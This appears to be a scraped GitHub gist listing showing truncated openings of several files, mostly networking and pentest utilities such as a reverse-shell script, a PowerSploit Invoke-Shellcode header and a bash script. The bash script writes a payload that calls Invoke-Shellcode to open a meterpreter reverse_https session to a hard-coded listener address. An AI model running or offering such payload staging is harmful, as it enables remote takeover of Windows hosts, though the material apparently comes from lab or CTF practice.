View app.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from PyQt5 import QtWidgets, QtCore | |
from ui import Ui_MainWindow | |
from selenium.webdriver.chrome.webdriver import WebDriver | |
from selenium.webdriver.chrome.options import Options | |
import os | |
import traceback | |
import pickle as pkl | |
from pathlib import Path | |
from typing import List, Dict, Union |
View proclist.cpp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <Windows.h> | |
#include <WtsApi32.h> // for process enumerations | |
#include <tchar.h> | |
#include <sddl.h> | |
#include "Source.h" | |
#define MAX_ACC_NAME 1000 | |
#define MAX_DOM_NAME 1000 |
View packet_sniffer.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import socket | |
from argparse import ArgumentParser, RawDescriptionHelpFormatter | |
# configuring the argument | |
parser = ArgumentParser(description="host discovery tool", | |
formatter_class=RawDescriptionHelpFormatter) | |
parser.add_argument("--host", | |
help="hostname to bind", | |
metavar="HOSTNAME/IP", |
View ssh_client.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import threading | |
import subprocess | |
from paramiko import SSHClient, AutoAddPolicy | |
from argparse import ArgumentParser, RawDescriptionHelpFormatter | |
# config the arguments | |
parser = ArgumentParser(description="SSH Client", | |
formatter_class=RawDescriptionHelpFormatter) | |
parser.add_argument("--host", |
View reverse_shell_tcp.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from argparse import ArgumentParser, RawDescriptionHelpFormatter | |
from socket import socket, AF_INET, SOCK_STREAM | |
from subprocess import PIPE, Popen | |
# configuring arguments | |
parser = ArgumentParser(description="Portable NCAT", | |
formatter_class=RawDescriptionHelpFormatter) | |
parser.add_argument("-l", | |
"--listen", |
View simple_ncat.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from argparse import ArgumentParser, RawDescriptionHelpFormatter | |
from socket import socket, AF_INET, SOCK_STREAM | |
# configuring arguments | |
parser = ArgumentParser(description="Portable NCAT", | |
formatter_class=RawDescriptionHelpFormatter) | |
parser.add_argument("-l", | |
"--listen", | |
action="store_true", |
View tcp_client.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from socket import socket, AF_INET, SOCK_STREAM | |
from sys import argv | |
argv.pop(0) | |
# instancing the client | |
client = socket(AF_INET, SOCK_STREAM) | |
# connecting to the server | |
try: |
View tcp_server.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from socket import socket, SOCK_STREAM, AF_INET | |
from sys import argv | |
argv.pop(0) | |
# instancing the server | |
server = socket(AF_INET, SOCK_STREAM) | |
# binding it to network interface | |
try: |
View payload.ps1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Invoke-Shellcode | |
{ | |
[CmdletBinding( DefaultParameterSetName = ‘RunLocal’, SupportsShouldProcess = $True , ConfirmImpact = ‘High’)] Param ( | |
[ValidateNotNullOrEmpty()] | |
[UInt16] | |
$ProcessID, | |
[Parameter( ParameterSetName = ‘RunLocal’ )] | |
[ValidateNotNullOrEmpty()] |
View automate.bash
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# meterpreter ip & port | |
lhost=10.10.14.70 | |
lport=443 | |
echo " * Writing Payload" | |
cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 > payload | |
echo “Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force” >> payload |